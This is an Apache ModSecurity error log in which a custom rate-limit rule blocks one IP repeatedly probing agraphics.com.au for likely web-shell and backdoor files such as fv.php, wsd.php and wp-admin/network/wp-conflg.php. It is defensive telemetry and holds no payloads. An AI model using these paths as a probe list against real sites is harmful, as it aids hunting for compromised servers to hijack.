[Sat Jan 10 04:49:13.331332 2026] [:error] [pid 20646:tid 20675] [client 65.52.163.14:2166] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x50.php"] [unique_id "aWFpySKwdq_UhOM64b6dQgAAABQ"]
[Sat Jan 10 04:49:13.759361 2026] [:error] [pid 20646:tid 20665] [client 65.52.163.14:2121] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x50.php"] [unique_id "aWFpySKwdq_UhOM64b6dRAAAAAo"]
[Sat Jan 10 04:49:14.137194 2026] [:error] [pid 20744:tid 20761] [client 65.52.163.14:2064] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fv.php"] [unique_id "aWFpykA8oR5jvkFpcP9R_QAAAMQ"]
[Sat Jan 10 04:49:14.526474 2026] [:error] [pid 20648:tid 20712] [client 65.52.163.14:2175] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fv.php"] [unique_id "aWFpyjBnnIoBkEBdx9D1dQAAAIM"]
[Sat Jan 10 04:49:15.147462 2026] [:error] [pid 20647:tid 20695] [client 65.52.163.14:2150] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fv.php"] [unique_id "aWFpy6vb0x69MarUHzCW1gAAAE0"]
[Sat Jan 10 04:49:15.391637 2026] [:error] [pid 20648:tid 20715] [client 65.52.163.14:2062] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fv.php"] [unique_id "aWFpyzBnnIoBkEBdx9D1dwAAAIY"]
[Sat Jan 10 04:49:15.751737 2026] [:error] [pid 20647:tid 20694] [client 65.52.163.14:2161] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file.php"] [unique_id "aWFpy6vb0x69MarUHzCW2QAAAEw"]
[Sat Jan 10 04:49:16.168730 2026] [:error] [pid 20744:tid 20769] [client 65.52.163.14:2160] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file.php"] [unique_id "aWFpzEA8oR5jvkFpcP9SAAAAAMw"]
[Sat Jan 10 04:49:16.497644 2026] [:error] [pid 20744:tid 20766] [client 65.52.163.14:2075] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file.php"] [unique_id "aWFpzEA8oR5jvkFpcP9SAQAAAMk"]
[Sat Jan 10 04:49:16.988197 2026] [:error] [pid 20648:tid 20710] [client 65.52.163.14:2001] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file.php"] [unique_id "aWFpzDBnnIoBkEBdx9D1fQAAAIE"]
[Sat Jan 10 04:49:17.383190 2026] [:error] [pid 20648:tid 20728] [client 65.52.163.14:2083] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lsd.php"] [unique_id "aWFpzTBnnIoBkEBdx9D1fgAAAJM"]
[Sat Jan 10 04:49:17.665054 2026] [:error] [pid 20647:tid 20704] [client 65.52.163.14:2095] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lsd.php"] [unique_id "aWFpzavb0x69MarUHzCW2gAAAFY"]
[Sat Jan 10 04:49:18.082788 2026] [:error] [pid 20648:tid 20727] [client 65.52.163.14:2149] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lsd.php"] [unique_id "aWFpzjBnnIoBkEBdx9D1gQAAAJI"]
[Sat Jan 10 04:49:18.388304 2026] [:error] [pid 20648:tid 20732] [client 65.52.163.14:2069] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lsd.php"] [unique_id "aWFpzjBnnIoBkEBdx9D1ggAAAJc"]
[Sat Jan 10 04:49:18.621469 2026] [:error] [pid 20648:tid 20722] [client 65.52.163.14:2085] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as.php"] [unique_id "aWFpzjBnnIoBkEBdx9D1gwAAAI0"]
[Sat Jan 10 04:49:19.022754 2026] [:error] [pid 20648:tid 20709] [client 65.52.163.14:2169] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as.php"] [unique_id "aWFpzzBnnIoBkEBdx9D1hAAAAIA"]
[Sat Jan 10 04:49:19.264364 2026] [:error] [pid 20647:tid 20682] [client 65.52.163.14:2002] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as.php"] [unique_id "aWFpz6vb0x69MarUHzCW3QAAAEA"]
[Sat Jan 10 04:49:19.592463 2026] [:error] [pid 20648:tid 20726] [client 65.52.163.14:2136] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/as.php"] [unique_id "aWFpzzBnnIoBkEBdx9D1hQAAAJE"]
[Sat Jan 10 04:49:19.888088 2026] [:error] [pid 20646:tid 20655] [client 65.52.163.14:1984] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wsd.php"] [unique_id "aWFpzyKwdq_UhOM64b6dRgAAAAA"]
[Sat Jan 10 04:49:20.142611 2026] [:error] [pid 20646:tid 20656] [client 65.52.163.14:2147] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wsd.php"] [unique_id "aWFp0CKwdq_UhOM64b6dSAAAAAE"]
[Sat Jan 10 04:49:20.394619 2026] [:error] [pid 20646:tid 20669] [client 65.52.163.14:2168] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wsd.php"] [unique_id "aWFp0CKwdq_UhOM64b6dSQAAAA4"]
[Sat Jan 10 04:49:20.628162 2026] [:error] [pid 20647:tid 20683] [client 65.52.163.14:2008] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wsd.php"] [unique_id "aWFp0Kvb0x69MarUHzCW3gAAAEE"]
[Sat Jan 10 04:49:20.962618 2026] [:error] [pid 20648:tid 20714] [client 65.52.163.14:2145] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gtc.php"] [unique_id "aWFp0DBnnIoBkEBdx9D1iQAAAIU"]
[Sat Jan 10 04:49:21.323844 2026] [:error] [pid 20647:tid 20700] [client 65.52.163.14:2171] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gtc.php"] [unique_id "aWFp0avb0x69MarUHzCW3wAAAFI"]
[Sat Jan 10 04:49:21.566728 2026] [:error] [pid 20646:tid 20668] [client 65.52.163.14:2077] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gtc.php"] [unique_id "aWFp0SKwdq_UhOM64b6dSgAAAA0"]
[Sat Jan 10 04:49:21.801309 2026] [:error] [pid 20744:tid 20772] [client 65.52.163.14:2017] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gtc.php"] [unique_id "aWFp0UA8oR5jvkFpcP9SAwAAAM8"]
[Sat Jan 10 04:49:22.153411 2026] [:error] [pid 20744:tid 20778] [client 65.52.163.14:2060] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/atx.php"] [unique_id "aWFp0kA8oR5jvkFpcP9SBQAAANU"]
[Sat Jan 10 04:49:22.486951 2026] [:error] [pid 20648:tid 20715] [client 65.52.163.14:2099] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/atx.php"] [unique_id "aWFp0jBnnIoBkEBdx9D1iwAAAIY"]
[Sat Jan 10 04:49:22.743691 2026] [:error] [pid 20648:tid 20713] [client 65.52.163.14:2073] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/atx.php"] [unique_id "aWFp0jBnnIoBkEBdx9D1jAAAAIQ"]
[Sat Jan 10 04:49:23.010518 2026] [:error] [pid 20648:tid 20731] [client 65.52.163.14:1942] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/atx.php"] [unique_id "aWFp0zBnnIoBkEBdx9D1jgAAAJY"]
[Sat Jan 10 04:49:23.253314 2026] [:error] [pid 20646:tid 20679] [client 65.52.163.14:2110] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/z60.php"] [unique_id "aWFp0yKwdq_UhOM64b6dTAAAABg"]
[Sat Jan 10 04:49:23.486896 2026] [:error] [pid 20646:tid 20662] [client 65.52.163.14:2164] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/z60.php"] [unique_id "aWFp0yKwdq_UhOM64b6dTQAAAAc"]
[Sat Jan 10 04:49:23.723050 2026] [:error] [pid 20646:tid 20663] [client 65.52.163.14:2005] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/z60.php"] [unique_id "aWFp0yKwdq_UhOM64b6dTgAAAAg"]
[Sat Jan 10 04:49:23.964715 2026] [:error] [pid 20646:tid 20678] [client 65.52.163.14:2155] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/z60.php"] [unique_id "aWFp0yKwdq_UhOM64b6dTwAAABc"]
[Sat Jan 10 04:49:24.197709 2026] [:error] [pid 20646:tid 20671] [client 65.52.163.14:2138] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/403.php"] [unique_id "aWFp1CKwdq_UhOM64b6dUAAAABA"]
[Sat Jan 10 04:49:24.472914 2026] [:error] [pid 20744:tid 20762] [client 65.52.163.14:2127] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/403.php"] [unique_id "aWFp1EA8oR5jvkFpcP9SBwAAAMU"]
[Sat Jan 10 04:49:24.717094 2026] [:error] [pid 20647:tid 20686] [client 65.52.163.14:2048] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/403.php"] [unique_id "aWFp1Kvb0x69MarUHzCW4AAAAEQ"]
[Sat Jan 10 04:49:24.960316 2026] [:error] [pid 20646:tid 20677] [client 65.52.163.14:2063] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/403.php"] [unique_id "aWFp1CKwdq_UhOM64b6dUwAAABY"]
[Sat Jan 10 04:49:25.215478 2026] [:error] [pid 20646:tid 20664] [client 65.52.163.14:2139] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/m.php"] [unique_id "aWFp1SKwdq_UhOM64b6dVAAAAAk"]
[Sat Jan 10 04:49:25.515863 2026] [:error] [pid 20648:tid 20720] [client 65.52.163.14:2071] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/m.php"] [unique_id "aWFp1TBnnIoBkEBdx9D1kAAAAIs"]
[Sat Jan 10 04:49:25.878466 2026] [:error] [pid 20648:tid 20723] [client 65.52.163.14:2158] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/m.php"] [unique_id "aWFp1TBnnIoBkEBdx9D1kQAAAI4"]
[Sat Jan 10 04:49:26.216723 2026] [:error] [pid 20744:tid 20770] [client 65.52.163.14:2144] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/m.php"] [unique_id "aWFp1kA8oR5jvkFpcP9SCwAAAM0"]
[Sat Jan 10 04:49:26.563037 2026] [:error] [pid 20744:tid 20759] [client 65.52.163.14:2057] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes.php"] [unique_id "aWFp1kA8oR5jvkFpcP9SDQAAAMI"]
[Sat Jan 10 04:49:26.808222 2026] [:error] [pid 20646:tid 20670] [client 65.52.163.14:2012] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes.php"] [unique_id "aWFp1iKwdq_UhOM64b6dVQAAAA8"]
[Sat Jan 10 04:49:27.041959 2026] [:error] [pid 20646:tid 20675] [client 65.52.163.14:2153] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes.php"] [unique_id "aWFp1yKwdq_UhOM64b6dVgAAABQ"]
[Sat Jan 10 04:49:27.277301 2026] [:error] [pid 20646:tid 20667] [client 65.52.163.14:1997] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes.php"] [unique_id "aWFp1yKwdq_UhOM64b6dVwAAAAw"]
[Sat Jan 10 04:49:27.579095 2026] [:error] [pid 20648:tid 20732] [client 65.52.163.14:2067] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aWFp1zBnnIoBkEBdx9D1kwAAAJc"]
[Sat Jan 10 04:49:27.839337 2026] [:error] [pid 20648:tid 20717] [client 65.52.163.14:2052] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aWFp1zBnnIoBkEBdx9D1lAAAAIg"]
[Sat Jan 10 04:49:28.092790 2026] [:error] [pid 20646:tid 20659] [client 65.52.163.14:2072] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aWFp2CKwdq_UhOM64b6dWwAAAAQ"]
[Sat Jan 10 04:49:28.335826 2026] [:error] [pid 20646:tid 20658] [client 65.52.163.14:2105] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aWFp2CKwdq_UhOM64b6dXAAAAAM"]
[Sat Jan 10 04:49:28.662520 2026] [:error] [pid 20647:tid 20697] [client 65.52.163.14:2122] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aWFp2Kvb0x69MarUHzCW4gAAAE8"]
[Sat Jan 10 04:49:28.897465 2026] [:error] [pid 20647:tid 20684] [client 65.52.163.14:1987] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aWFp2Kvb0x69MarUHzCW4wAAAEI"]
[Sat Jan 10 04:49:29.151315 2026] [:error] [pid 20647:tid 20690] [client 65.52.163.14:2055] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aWFp2avb0x69MarUHzCW5QAAAEg"]
[Sat Jan 10 04:49:29.398876 2026] [:error] [pid 20647:tid 20701] [client 65.52.163.14:2026] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/wp-conflg.php"] [unique_id "aWFp2avb0x69MarUHzCW5gAAAFM"]
[Sat Jan 10 04:49:29.696014 2026] [:error] [pid 20647:tid 20691] [client 65.52.163.14:2106] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/click.php"] [unique_id "aWFp2avb0x69MarUHzCW5wAAAEk"]
[Sat Jan 10 04:49:29.961030 2026] [:error] [pid 20648:tid 20718] [client 65.52.163.14:2143] [client 65.52.163.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/click.php"] [unique_id "aWFp2TBnnIoBkEBdx9D1lQAAAIk"]
